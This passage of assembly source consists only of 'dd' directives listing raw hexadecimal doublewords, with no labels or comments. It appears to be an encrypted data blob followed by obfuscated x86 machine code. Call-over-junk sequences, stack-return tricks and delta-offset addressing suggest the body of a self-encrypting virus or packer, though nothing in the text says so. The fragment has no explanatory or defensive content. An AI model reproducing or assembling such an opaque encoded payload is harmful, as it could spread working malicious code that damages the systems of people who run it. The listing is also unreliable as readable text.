		dd 5E6CDE7Ch, 5637AA5Fh, 0C0376367h, 9033A323h,	727E1274h
		dd 52BAE3AEh, 0D2D967EAh, 0F4BE8FDCh, 42B818C9h, 0D2D990AAh
		dd 7893C2AEh, 0D759A6CEh, 0D7303971h, 8D13E823h, 83BA2EE0h
		dd 93B23E07h, 0D7241907h, 85718E23h, 8C5375E0h,	0D1B5AC9Ah
		dd 5E33D123h, 3D1F29AEh, 0BDE38B26h, 0D4DB6823h, 0F7331D23h
		dd 5E694D79h, 56376377h, 0C2378767h, 9533D123h,	786E2B71h
		dd 0D731FD2Ch, 1DB83A23h, 0D83777DFh, 0D73386A7h, 0D5B94823h
		dd 0B733A323h, 26C4B942h, 5C55DF2Ah, 0F307F5F3h, 0E03ADBD4h
		dd 3F641D49h, 0D7338E20h, 88F01803h, 0D317DFAAh, 0D31795A2h
		dd 0D733E837h, 7BF02364h, 0FE2E8F0Ah, 5C5518C9h, 0D73766DBh
		dd 0D5DF4723h, 26B8A323h, 0FC156F73h, 93B89260h, 0BB8C7007h
		dd 5C57DCCDh, 0B1614D23h, 0D8DB1B9Ah, 0DADA2712h, 0DB33A323h
		dd 6F73EF5Dh, 42D244E8h, 0C6533CD1h, 0B6FDB145h, 93BA4579h
		dd 0BD6B8A07h, 0D4DB1523h, 0F733A323h, 5E691279h, 5637CC77h
		dd 0CF375067h, 95333A23h, 0E0FADE71h, 0BD64E42Dh, 87332D23h
		dd 0D733A0CBh, 146BF123h, 0F377617Bh, 0F377F527h, 0D7332627h
		dd 14635D23h, 9500FD48h, 0BB7A59E9h, 0E6E35C57h, 3D2564B6h
		dd 3B66126h, 0DC3699FAh, 3D34D79Eh, 0D2CB9626h,	0D7338CEFh
		dd 0EEBC2AAh, 17B0A6CEh, 0BB6583Bh, 0E43605FAh,	0D5DFCDE3h
		dd 7DC03A23h, 0BD0AD8A3h, 0D4DBDC23h, 0F7334723h, 5E696079h
		dd 5637F577h, 0C337CC67h, 95337423h, 11FBF971h,	3D2958A6h
		dd 0D759CD26h, 0D730AF72h, 8E13A323h, 9BBA88E0h, 93B2EC07h
		dd 0D7257007h, 86723A23h, 0C06349E0h, 0DD2A33AAh, 6A5B42C9h
		dd 56A89FEAh, 7692F527h, 0C185E909h, 0F4BEC1DCh, 0C7DA3FC9h
		dd 4B331D23h, 21865098h, 0A4192455h, 7E510463h,	5A0D6CE6h
		dd 3A9C48A6h, 0D4BD7B26h, 0D8333A23h, 7CCCC9Ch,	3F638E49h
		dd 0D7334720h, 8FF0FB03h, 0D31795AAh, 0D317ACA2h, 0D7337439h
		dd 0DAF06A63h, 0BD94653Eh, 62BA0005h, 0D2D95F3Eh, 0FB2E26AAh
		dd 0D759D4C9h, 0D7300074h, 88137423h, 0ABBA65E0h, 93B21907h
		dd 0D7258A07h, 80744723h, 65FF7E0h, 0D735592Ch,	42B8E823h
		dd 0D2D958BEh, 0D612AFA8h, 52BE18C9h, 0D2D9A152h, 3F664749h
		dd 0D733A320h, 8AF08C03h, 0D31784AAh, 0D31730A2h, 0D7333A39h
		dd 7FF04866h, 77BCCDAh,	52BA8509h, 0D2D980CAh, 0D733DECBh
		dd 0DE4A9823h, 1BBB46Fh, 0E2607BB3h, 82D690A4h,	2F6C5BA9h
		dd 0CD76C2E5h, 0BD60A6C9h, 0D4DB8023h, 0F733E823h, 5E6AB77Ah
		dd 56371E6Fh, 0CD373967h, 96338E23h, 5F798472h,	0B3268163h
		dd 1AB6F8C4h, 0BF360236h, 0EC2B6BEh, 0EC173EA2h, 5C11A2A5h
		dd 3D3C2396h, 5A86B826h, 0BD364900h, 0D4DB8223h, 0F733E823h
		dd 5E68B778h, 56371E7Fh, 0CB373967h, 94338E23h,	3CCF8470h
		dd 0F1963F0Eh, 5C021B54h, 3D1EB9AEh, 52BE8826h,	0D2DE9583h
		dd 3F631D49h, 0D7338E20h, 8FF01F03h, 0D317E7AAh, 0D31795A2h
		dd 0D733E834h, 22F02463h, 0D829069Ah, 7CCEC9Ch,	0A9E5259Dh
		dd 0C2B6CE4Ch, 0BD364933h, 0D4DB8323h, 0F733E823h, 5E69B779h
		dd 56371E77h, 0C3373967h, 95338E23h, 118F8471h,	3D29E6A6h
		dd 808C8226h, 0BF61B8B4h, 584B5518h, 0D3B2C4A8h, 77906507h
		dd 1B8E86Bh, 0F4BEF2DCh, 0D759A6C9h, 0D7303976h, 8A13E823h
		dd 0BBBA29E0h, 93B23E07h, 0D7291907h, 82768E23h, 46BCC3E0h
		dd 957D4514h, 789354AEh, 0D759EDCEh, 0D7309C70h, 8C133A23h
		dd 8BBA46E0h, 93B28A07h, 0D72F4307h, 8470A323h,	659AD8E0h
		dd 9AF39F4Fh, 533CCBC3h, 0D7333A2Fh, 0D735952Ch, 513C8E23h
		dd 0D7334723h, 12AE2A74h, 89363B31h, 5A1838DCh,	0D2D951BEh
		dd 8973979Dh, 5AB6944Ah, 0B1366431h, 0D23180A2h, 0CD7626E5h
		dd 0B174D4C9h, 0C9E93AA2h, 0E1AD444Bh, 0B20F8473h, 0D3B254D8h
		dd 7F0CF707h, 878D2144h, 5A865C1Eh, 56363B00h, 2E551DE2h
		dd 77B6F912h, 0BD36D78Ch, 0D4DB4C23h, 0F7338E23h, 5E6A847Ah
		dd 5637876Fh, 0C337F567h, 9633E823h, 0DE49B772h, 3D02DBBEh
		dd 0C11EA326h, 7CCB155h, 0DF2ED20Ah, 52BAA6C9h,	0D2D9C0BAh
		dd 3F63E849h, 0D7337420h, 8FF06203h, 0D31759AAh, 0D317CAA2h
		dd 0D7334736h, 95F0F363h, 92B6176Fh, 90360239h,	3F647449h
		dd 0D7333A20h, 88F04203h, 0D317F2AAh, 0D31703A2h, 0D733A334h
		dd 62F08664h, 3FCB248Ch, 0D7337426h, 0D5BEAB5h,	0DB27BB5h
		dd 0BF69D3C2h, 95D79B16h, 0D733B1CAh, 5A1ED323h, 0F1B10E20h
		dd 0DF19C2F5h, 11EDA0B2h, 568155C7h, 0E376AA27h, 683C79D4h
		dd 5A865CEDh, 0BD363B00h, 0D4DBBD23h, 0F7337423h, 5E6EF97Eh
		dd 5637394Fh, 0C037AA67h, 92334723h, 44396076h,	52BE250Eh
		dd 0D2DE4783h, 0D759A4DCh, 0D730D272h, 8E131D23h, 9BBAD7E0h
		dd 93B24307h, 0D72EA707h, 8672D123h, 0F1EEC1E0h, 0E182941Ch
		dd 5EC2277Fh, 3D3E38A6h, 8533E426h, 0D73344CBh,	14698323h
		dd 0F3675879h, 0F3776927h, 0D7336027h, 14617823h, 0D5B41215h
		dd 5C338E23h, 11C3CCD9h, 3D29E6A6h, 42109626h, 0D2D9EA0Eh
		dd 0D73370CBh, 1A0F6723h, 488A7B89h, 0F985DE4Dh, 0D31703A8h
		dd 0ED0B3F9Ch, 5E335A42h, 0B137CC67h, 8F1B6699h, 3F603A49h
		dd 0D7331D20h, 8CF0D503h, 0D3171BAAh, 0D317E7A2h, 0D733D137h
		dd 82F0BB60h, 0D73379CAh, 9E41DF23h, 0A7EC998Bh, 0ABCC4267h
		dd 62CCB7E8h, 0D2D980AEh, 582A18A2h, 52BE80AAh,	0D2DEDB83h
		dd 0F7C4BB45h, 0BDE3E28Fh, 0D4DBDB23h, 0F7334723h, 5E6E607Eh
		dd 5637F54Fh, 0CE37CC67h, 92337423h, 12F9F976h,	5C05DBB3h
		dd 8E2A3145h, 0C6CAC2AAh, 0D759A6C9h, 0D7303972h, 8E13E823h
		dd 9BBA2DE0h, 93B23E07h, 0D7291907h, 86728E23h,	7C3E9BE0h
		dd 8463F314h, 0C25A6C0Ah, 7CCEDC9h, 0D73367CAh,	7DC17523h
		dd 69E34198h, 3C7763D2h, 0E3DB3696h, 3A5E103Dh,	0FED654AAh
		dd 0D759EDC9h, 0D7309C76h, 8A133A23h, 0BBBA40E0h, 93B28A07h
		dd 0D72A4307h, 8276A323h, 0D9D246E0h, 0D8685B4Fh, 0D73372A4h
		dd 7686B123h, 0B136F728h, 52BA56AFh, 0D2D9410Eh, 0D759A707h
		dd 0D7303974h, 8813E823h, 0ABBA2BE0h, 93B23E07h, 0D7261907h
		dd 80748E23h, 0B128E1E0h, 17395AA8h, 0D43A552Ch, 0D2DAE823h
		dd 42337423h, 55C2B7F8h
		dd 0CD7698E5h, 0BD7C8BC9h, 0D4DB1723h, 0F733A323h, 5E6B127Bh
		dd 5637CC67h, 0CF375067h, 97333A23h, 0C265DE73h, 65D0F453h
		dd 0D737AF7Ch, 0BBF7A323h, 5C636EA3h, 0F37763F4h, 5E3C2527h
		dd 0D7333A3Bh, 0D7330ECAh, 0B9837623h, 3E785513h, 0D26F1D56h
		dd 0FCEBB51Bh, 5B614321h, 6933FF79h, 0CB7E8870h, 0D31759AAh
		dd 8133E47Bh, 0D73344CBh, 146D8323h, 0F347587Dh, 0F3776927h
		dd 0D7336927h, 14657C23h, 81AE950Eh, 152FFEFh, 603C7D6Ch
		dd 5A865CF0h, 81363B00h, 0F4580EA2h, 0D86C1F30h, 52BECC94h
		dd 0D2DEB283h, 95993445h, 0D75997DCh, 0D7304B72h, 8E13D123h
		dd 9BBAB1E0h, 93B27007h, 0D7243E07h, 86721D23h,	2BD654E0h
		dd 48C48FBh, 5C1763A0h,	3D1AC096h, 0DAB66126h, 0BD369E11h
		dd 0D4DB6C23h, 0F7331D23h, 5E6D4D7Dh, 56376357h, 0CD378767h
		dd 9133D123h, 1C0B2B75h, 0D437E20Fh, 818C5CECh,	32B6960Dh
		dd 5C36640Ah, 3D1AE69Eh, 2EAE2826h, 0BD363B32h,	0D4DBBA23h
		dd 0F7337423h, 5E69F979h, 56373977h, 0CF37AA67h, 95334723h
		dd 23D96071h, 68B51A79h, 0EEE2C3FCh, 2E708FA8h,	0D75921A8h
		dd 0D730F571h, 8D138E23h, 83BA1DE0h, 93B2A707h,	0D72AD507h
		dd 8571E823h, 243817E0h, 5EBA1382h, 3D26309Eh, 0D8280526h
		dd 0CCB8B094h, 3F64A349h, 0D733D120h, 88F0B703h, 0D31708AAh
		dd 0D3177EA2h, 0D7331D38h, 6AF0D964h, 82CD40FDh, 0E459D9D2h
		dd 6089B7FBh, 0E2AE61D8h, 0BD369E36h, 0D4DB6823h, 0F7331D23h
		dd 5E694D79h, 56376377h, 0CF378767h, 9533D123h,	790D2B71h
		dd 1125A78Eh, 3D297FA6h, 1FB85A26h, 3F59714Bh, 0D1DB14A2h
		dd 0F933A323h, 6BF6BFDCh, 9E898E72h, 566C2A2Eh,	60651E17h
		dd 3F532B15h, 0D7338E2Dh, 0F9D78B58h, 11B25167h, 77E94BF6h
		dd 0B6534779h, 0D7239C7Bh, 51373A23h, 5FC6A509h, 0C94156D6h
		dd 91584242h, 621ADBDBh, 0D2D9F9DEh, 62CC897Ch,	0D2D957AEh
		dd 0D736B92Ch, 458D1D23h, 5A3C5E60h, 3A9CE7A6h,	5CC12826h
		dd 3D2434B6h, 0B1E31726h, 300BAAA2h, 0C6AABFAAh, 0D75918C9h
		dd 0D7306670h, 8C134723h, 8BBAF8E0h, 93B2D507h,	0D729EC07h
		dd 84707423h, 3A5179E0h, 14AF3E94h, 0D7360F2Ch,	0FA8C4723h
		dd 0B1287278h, 97A54999h, 3F60E849h, 0D7337420h, 8CF06103h
		dd 0D31741AAh, 0D317CAA2h, 0D733473Ah, 0E1F0F060h, 0C7D290EDh
		dd 2BEE350h, 5C369E06h,	82335023h, 0D7331ECBh, 146EAE23h
		dd 0F35FCE7Eh, 0F3772227h, 0D733C527h, 1466AD23h, 0A6A65D33h
		dd 5C36D036h, 0F6BE1423h, 5E366428h, 3D026EA6h,	0D5BFAC26h
		dd 5C33D123h, 0D79801DDh, 0D7597423h, 0D730D274h, 88131D23h
		dd 0ABBAD1E0h, 93B24307h, 0D729A707h, 8074D123h, 0BFBC8DE0h
		dd 0E2E8040h, 5AF9B145h, 3AEAE7A6h, 87637726h, 327DF971h
		dd 0E63C8EA3h, 8F699D95h, 6E17ECAAh, 0D028A579h, 2CC4BB45h
		dd 76A6E2E7h, 0B1366421h, 4ABE90A8h, 0D2DE7923h, 0F91654AAh
		dd 683CEDC9h, 0CBBA24F1h, 59895C07h, 2CB88D63h,	5A181E73h
		dd 0D2D97696h, 0DEEA36DCh, 0D759D4C9h, 0D7300071h, 8D137423h
		dd 83BA60E0h, 93B21907h, 0D7288A07h, 85714723h,	8A317EE0h
		dd 0AD820D43h, 0DAB66109h, 5C369E11h, 3D178FAEh, 0F98A7B26h
		dd 92B64846h, 8436AD39h, 42BAF174h, 0D2D9D212h,	595BB77Dh
		dd 56A405ADh, 22C21E27h, 0B1610E36h, 8853A99Ah,	0F4BEF2DCh
		dd 0D759A6C9h, 0D7303973h, 8F13E823h, 93BA2CE0h, 93B23E07h
		dd 0D72F1907h, 87738E23h, 0EEF746E0h, 8CB052BFh, 0D8DA0FD1h
		dd 9233E823h, 2477415Dh, 0F3917A2Bh, 0D4EA541h,	0C6DAE12Ah
		dd 39334723h, 2CC22769h, 652F3419h, 0D0FE6EA2h,	23C8CF44h
		dd 7893BFAEh, 7CC18CEh,	0FDC60320h, 52BA42C9h, 0D2D9B51Eh
		dd 11E35A45h, 3D29ADA6h, 0D7593326h, 0D730D276h, 8A131D23h
		dd 0BBBAD3E0h, 93B24307h, 0D725A707h, 8276D123h, 1CCDEDE0h
		dd 0D7F6E10Ah, 0D3DB3FC9h, 47331D23h, 0D892FC36h, 0D73342ACh
		dd 18B71A23h, 5D63C2E8h, 0F37763F3h, 0D89DCA27h, 0D7B843ECh
		dd 88DEAB73h, 0D317CAAAh, 0D73341CBh, 99E0E623h, 3EC6D326h
		dd 0D733E833h, 0CC54D308h, 7C8C031Ah, 4D9CEEDAh, 70C4DCAFh
		dd 6D551F7Ch, 62CC1A5Ch, 0D2D9F2AEh, 52F56945h,	77B6F92Eh
		dd 5C36D78Ch, 0BDE3E2D8h, 0D4DBD823h, 0F7334723h, 5E6D607Dh
		dd 5637F557h, 0C037CC67h, 91337423h, 0ABD1F975h, 52BA90FFh
		dd 0D2D9BC4Ah, 0CD76C2E5h, 0BD60A6C9h, 0D4DB8323h, 0F733E823h
		dd 5E69B779h, 56371E77h, 0CB373967h, 95338E23h,	0FEB78471h
		dd 0ED37FCB5h, 56ACDC0Bh, 0F278FFE2h, 43421C50h, 68556948h
		dd 0D3B2F66Ah, 1AF89107h, 0A6BECE66h, 28364925h, 3D105C96h
		dd 0C6866326h, 5A369E0Ch, 3A9C9AA6h, 80337726h,	0D7338DCBh
		dd 146C6723h, 0F34F2A7Ch, 0F3775027h, 0D733FC27h, 14643323h
		dd 0BDE3C57Fh, 0D4DB4F23h, 0F7338E23h, 5E698479h, 56378777h
		dd 0C237F567h, 9533E823h, 7460B771h, 0D73335CBh, 639CF023h
		dd 5265AAF5h, 0EFB5F5A8h, 39C6CDCCh, 0D733D4CAh, 0A98AAF23h
		dd 5C6DC562h, 3D2187B6h, 0CEB69426h, 11366409h,	3D2902A6h
		dd 0D759F426h, 0D7303975h, 8913E823h, 0A3BA2AE0h, 93B23E07h
		dd 0D7241907h, 81758E23h, 28A0FBE0h, 8E60CB1Eh,	8C8935C7h
		dd 5673089Ah, 0DC665017h, 18B24EC3h, 0F32990CFh, 0F4BE3BDCh
		dd 0D75942C9h, 0D7304B73h, 8F13D123h, 93BAB0E0h, 93B27007h
		dd 0D72E3E07h, 87731D23h, 32D85AE0h, 90BC4D00h,	3EE74C1Dh
		dd 0D733D12Bh, 0AFA9652h, 91DB9725h, 7893BFAEh,	543C18CEh
		dd 0D7338E21h, 7CC8DA9h, 3F60A349h, 0D733D120h,	8CF0B303h
		dd 0D31728AAh, 0D3177EA2h, 0D7331D34h, 0CBF0DD60h, 572508C1h
		dd 52BAFFEDh, 0D2D9C56Ah, 0CF067DAAh, 52F571C9h, 0D2D92066h
		dd 81337760h, 0D7338DCBh, 146D6723h, 0F3472A7Dh, 0F3775027h
		dd 0D733FF27h, 14653223h, 0E1345C1Fh, 0FCBA88A8h, 62008BC9h
		dd 0D2D96DEEh, 0EA21484Bh, 0D5B8DE6Fh, 6533E823h, 0F337F555h
		dd 0A760671Eh, 3E65EDA9h, 0D7338E2Bh, 42D4ED75h, 0B048D9BBh
		dd 5A862E7Dh, 5E360200h, 3D2F65A6h, 77B6B726h, 0D836F08Ch
		dd 7CC7F94h, 0D7334ACAh, 7A42C323h, 0D983894Fh,	543D266Eh
		dd 683C816Dh, 0CEB6B3EAh, 5A36F70Dh, 3AEA7EA6h,	86332D26h
		dd 0D733A0CBh, 146AF123h, 0F37F617Ah, 0F377F527h, 0D7332227h
		dd 14625C23h, 866E03ACh, 0D735AE2Fh, 0BA79A323h, 2AD11B3Dh
		dd 0B76339A8h, 0A4BCCB45h, 0D73FD273h, 5CD71D23h, 0D977F410h
		dd 71A754BAh, 8869C2D5h, 0F3375842h, 0D8E0572Ch, 0D73371A5h
		dd 6B25C23h, 42CC4F3Ah,	0D2D98C82h, 0D142F2AAh,	0FB8A6C9h
		dd 3F65D149h, 0D733E820h, 89F02A03h, 0D3174EAAh, 0D31759A2h
		dd 0D7338E35h, 8BF01165h, 0D8DB61BEh, 0F833D123h, 0D42CFB29h
		dd 0D4F6FBDBh, 66F0BA3Dh, 8DC68F34h, 0CAE233A8h, 52BE42C9h
		dd 0D2DE7AC7h, 87E55AB3h, 0D733EDCAh, 1A0E1823h, 0BDA3598Fh
		dd 0D4DB4E23h, 0F7338E23h, 5E688478h, 5637877Fh, 0CC37F567h
		dd 9433E823h, 0AC92B770h, 147D5367h, 8063FA44h,	322E819Ch
		dd 0CBBA1D13h, 8233C907h, 0D733D2CBh, 146EC823h, 0F35FFD7Eh
		dd 0F377BB27h, 0D7330927h, 1466CB23h, 0C3EDC62Ah, 6D084A4Fh
		dd 0AB355389h, 0DEEA7DDCh, 0D75971C9h, 0D730D275h, 89131D23h
		dd 0A3BAD0E0h, 93B24307h, 0D727A707h, 8175D123h, 5AB80DE0h
		dd 0D2D96496h, 0FDF6BFAAh
		dd 1DB218C9h, 0AC132E0Bh, 4AB680DBh, 0D8364935h, 0BD33D123h
		dd 0D4DBBD23h, 0F7337423h, 5E6EF97Eh, 5637394Fh, 0CD37AA67h
		dd 92334723h, 0C7366076h, 86A8F0F4h, 4EBE6121h,	28369E12h
		dd 3D19FFB6h, 85337726h, 0D7338DCBh, 14696723h,	0F3672A79h
		dd 0F3775027h, 0D733FC27h, 14613623h, 0DAB6B338h, 0B736F70Ah
		dd 0D7339DCAh, 5680B523h, 0B9626C96h, 0EB286DA4h, 0FAE329DFh
		dd 0ABC7480h, 0D73336CAh, 0E9AA5E23h, 191E13EAh, 0A122C90Dh
		dd 52B8C2C7h, 0D2D9FD3Eh, 3D8875AEh, 94BA71CEh,	0A68EB722h
		dd 5A36F70Ch, 3AD91B96h, 0D700FE26h, 73C0A323h,	0D78BE2C8h
		dd 0DC33E823h, 153000E3h, 93B83A3Bh, 3F601107h,	0D7338E23h
		dd 0C0F0C678h, 5E33A323h, 5E23F57Fh, 8C27CC67h,	7793439Bh
		dd 5CD3C523h, 28373967h, 8033E4C3h, 0D73344CBh,	146C8323h
		dd 0F34F587Ch, 0F3776927h, 0D7336F27h, 14647D23h, 805BDE4Ah
		dd 10689878h, 1EF91A2h,	5C55AFA5h, 0D72338D3h, 1882E823h
		dd 14577BEh, 9429C765h,	0F484F041h, 6E524DBFh, 945EF988h
		dd 0ED71EAEh, 5ABED4CEh, 0D2DE0308h, 0F198419Bh, 6AB609BBh
		dd 0FC36F700h, 23BD53ECh, 23D4DBF1h, 79F733D1h,	775E692Bh
		dd 67563750h, 23C2371Eh, 7195331Dh, 0F305E983h,	89D98BA4h
		dd 0EA010D95h, 5FE905h,	830F0000h, 0Ch,	6840Fh,	850F0000h
		dd 0
		dd 0E9506061h, 12h, 0D9858CC3h,	977F4471h, 63BB2F91h, 9F3C2C19h
		dd 0E95F86C3h, 13h, 9B418801h, 4C8BFFB1h, 3F942A4Ah, 0EF70D08Eh
		dd 618E1A76h, 0C18B60C3h, 0FE9h, 5AC7AD00h, 29E6689Ch
		dd 0FA1ABA90h, 0FF1CE034h, 6AC08B61h, 3E85000h,	20000000h
		dd 8958C358h, 81042444h, 17042444h, 40000000h, 0A725C350h
		dd 800FD3B1h, 0Ah, 0CC78160h, 8B489155h, 0BD8361CAh, 5EA13D9h
		dd 83097500h, 0EA2EE5BDh, 19740005h, 0C08B5350h, 4B9B8h
		dd 69858900h, 8D05EA07h, 0ECDE5C9Dh, 5BD3FF05h,	0E5BD8358h
		dd 5EA2Eh, 53501774h, 4B9B8h, 69858900h, 8D05EA07h, 0ECDAFD9Dh
		dd 5BD3FF05h, 50006A58h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1604h, 0C3504000h, 0E950C58Ah, 5, 0FEBE071Eh, 0FC08BCEh
		dd 189h, 8B40F900h, 56006AC1h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1A04h, 0C3564600h, 8603ED36h, 0FF9FF6Fh
		dd 0C88h, 68C0F00h, 89000000h, 0EA1E7585h, 0B1B50B05h
		dd 0EB05EA15h, 4, 51006A00h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1C04h, 0C3514100h, 55C73EEFh, 5D7291D0h
		dd 4DBD8990h, 905EA2Dh,	0EA0C658Dh, 55006A05h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1604h,	0C3554500h, 8D452AA5h
		dd 0EA298D85h, 57006A05h, 3E8h,	0C35F2000h, 247C895Fh
		dd 24448104h, 1C04h, 0C3574700h, 0F5E5ED98h, 3C07BC33h
		dd 59BD8BA8h, 9005EA31h, 0ACF6BB60h, 0BB665F2Ah, 5061FCCAh
		dd 13E8h, 300A3A00h, 8F0E823Eh,	0E7FC7A7Bh, 675A107h, 0BB4F5D4Bh
		dd 0FA8B6650h, 6A905E5Eh, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 18042444h, 43000000h, 0F4A0C353h,	8B8A9118h
		dd 0EA0A69BDh, 89952905h, 6A05EA1Dh, 53006A00h,	3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1804h,	0C3534300h, 5325150Dh
		dd 71BD8B19h, 0BE05EA31h, 34001489h, 6A006Ah, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 1D0424h, 50400000h, 22632EC3h
		dd 31D37626h, 8D3D9FD6h, 0EDEED685h, 51006A05h,	3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1B04h,	0C3514100h, 0E9E2FE8Ah
		dd 0ECADF17Eh, 2EB7C681h, 0C0837C6Dh, 50006A05h, 3E8h
		dd 0C3582000h, 24448958h, 24448104h, 1704h, 0C3504000h
		dd 0AAEB53CFh, 89505F57h, 0BD332404h, 5EA00E1h,	8B66006Ah
		dd 6A006AF3h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 15042444h, 47000000h, 0CA93C357h, 23E995FFh,	8D8905EAh
		dd 5EA1055h, 0D89D9D8Dh, 6A05EDh, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 190424h, 57470000h, 0BAED77C3h, 290E66D5h
		dd 0EA258D9Dh, 0C800F05h, 0F000000h, 68Bh, 0F9952900h
		dd 0FF05EA2Bh, 858B60D3h, 5EA0D29h, 85FFF961h, 5EA1C49h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 2EC35747h
		dd 0E6C08A45h, 1CCC1331h, 8595092Bh, 0E905EA0Bh, 6F7h
		dd 0E8h, 0ED815D00h, 5EDEEE0h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 16h, 0A1C35141h,	0F51BA7Ah, 380h
		dd 0FA8B6600h, 49BD895Fh, 8105EA1Bh, 0EA169DBDh, 7D005h
		dd 3860F00h, 0F8000001h, 7159D8Bh, 6A05EAh, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 140424h, 57470000h, 12E9F9C3h
		dd 0A6000000h, 0D0DD9BADh, 7D8C7BA9h, 4CF82A46h, 0E82B4E01h
		dd 0E3817Eh, 0B000001h,	56850FDBh, 2B000000h, 0EA2D71BDh
		dd 0ADBD8B05h, 8305EA07h, 0EDECA0BDh, 840F0005h, 1Eh, 88F0Fh
		dd 0B1600000h, 2AB966C5h, 0BD8B6127h, 5EA105Dh,	31E9h
		dd 0DDA2BE00h, 85C72138h, 5EDECA0h, 1, 671B589h, 17E905EAh
		dd 60000000h, 0E28108B0h, 68CDF0F1h, 0A085C761h, 5EDECh
		dd 66000000h, 9D8DF38Bh, 5EA0715h, 24F68160h, 0E8354C9Fh
		dd 9, 0E0126F03h, 3FCDCE0Ah, 0D9D89C1h,	5A05EA33h, 0FF238161h
		dd 0E8FFFFFEh, 11h, 6E620A9Ch, 0A310B152h, 0E6733075h
		dd 18FCA532h, 0CE809h, 52760000h, 9BEA95A9h, 3F6AA680h
		dd 0B58B1A04h, 5EA0665h, 8C665F5Eh, 55006ADBh, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1504h,	0C3554500h, 0BF66A017h
		dd 0F28B9422h, 0F04C3F6h, 5584h, 56006A00h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1404h,	0C3564600h, 0C860F2Dh
		dd 0F000000h, 68Dh, 0C1B58B00h,	0FF05EA2Ch, 0EA2AC595h
		dd 0DE905h, 55ED0000h, 88082B2Eh, 0BD9E786Eh, 90CA4149h
		dd 0A84BF66h, 0D55ABE50h, 6690730Ch, 47E9FB8Bh,	6A000004h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 17042444h
		dd 42000000h, 69A7C352h, 8B66CD3Fh, 9D8952FAh, 5EA0A61h
		dd 0FE8B665Fh, 0E68100B0h, 178AE19Ah, 896070E6h, 0EA13019Dh
		dd 0F7C18105h, 6167013Ah, 6A71E4h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 190424h, 51410000h, 233196C3h, 8B7B3676h
		dd 0EA3059B5h, 0D8B60F05h, 0FE8B6657h, 6BA5Fh, 6A0000h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h, 56460000h
		dd 0FBA3FC3h, 96F91446h, 0B533362Fh, 5EA3101h, 8D89C38Bh
		dd 5EA1C45h, 8B04E8C1h,	0EA3301B5h, 0E2F76605h,	0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 14h, 46C35646h, 6AD82Bh
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 160424h, 53430000h
		dd 92C93DC3h, 50F3B70Fh, 25C3BB60h, 89610FDCh, 0FFF9241Ch
		dd 0EA169DB5h, 1595FF05h, 5205EA10h, 6A00B05Eh,	3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1C042444h, 46000000h
		dd 0EBA8C356h, 0E72B1B69h, 31BCFF0Ch, 0EA2D599Dh, 6A70E605h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 18042444h
		dd 41000000h, 0EFD8C351h, 0E880008Eh, 11h, 4087425Eh, 0AB01F36Bh
		dd 840F688Bh, 9DD6CFA4h, 8D895E44h, 5EA2E45h, 6671E4F9h
		dd 449BEE81h, 5916BE66h, 830F613Ch, 2B6h, 0E855006Ah, 3
		dd 5DC35D20h, 4246C89h,	4244481h, 15h, 5FC35545h, 1F05BF39h
		dd 335342FAh, 0EA0C3DB5h, 0B60F5E05h, 0ADB531D8h, 8905EA0Dh
		dd 0EA07C98Dh, 6BA05h, 0B58B0000h, 5EA0B21h, 6AC38Bh, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 170424h, 50400000h
		dd 1C73A6C3h, 15B58B00h, 0C105EA06h, 0FE904E8h,	0D0000000h
		dd 91A9760Ch, 0DB7BDEC9h, 4FC81E3Bh, 0F7666AFCh, 55006AE2h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1C04h, 0C3554500h
		dd 786264CAh, 2BC98462h, 6AD82B4Dh, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 18042444h, 41000000h, 0C3AAC351h
		dd 0F133EA3h, 281h, 0FF08B00h, 6A58FEB7h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 19042444h, 41000000h, 0A857C351h
		dd 90164E72h, 11FDB503h, 0D82B05EAh, 1B0880Fh, 6A0000h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h, 53430000h
		dd 53FFC9C3h
		dd 3A64E25Bh, 8D89D088h, 5EA3149h, 7B9h, 53006A00h, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1A04h, 0C3534300h
		dd 1EA3E3AFh, 83FD6C20h, 6A00C1h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 140424h, 50400000h, 850FC7C3h, 3,	0E9FAB70Fh
		dd 13h,	25AF0472h, 0BA878C65h, 415C5A07h, 75028567h, 3B98BE19h
		dd 17860FD9h, 60000001h, 13D58D89h, 666105EAh, 6AD98Ch
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h, 57470000h
		dd 0F3497FC3h, 45B5DFFh, 1840F60h, 0F8000000h, 0ED58589h
		dd 296105EAh, 0EA0C919Dh, 4C1F605h, 0A5840Fh, 85890000h
		dd 5EA0BB9h, 2AC595FFh,	6A05EAh, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 170424h, 53430000h, 82BF1AC3h, 0FBB70F45h
		dd 53006A5Bh, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1604h
		dd 0C3534300h, 8BA7364Ah, 0EA1D31BDh, 14E95105h, 0EC000000h
		dd 0B9B7D35Ch, 0FBD76A8Eh, 7CEA7C90h, 0F53B384h, 5FFC76B9h
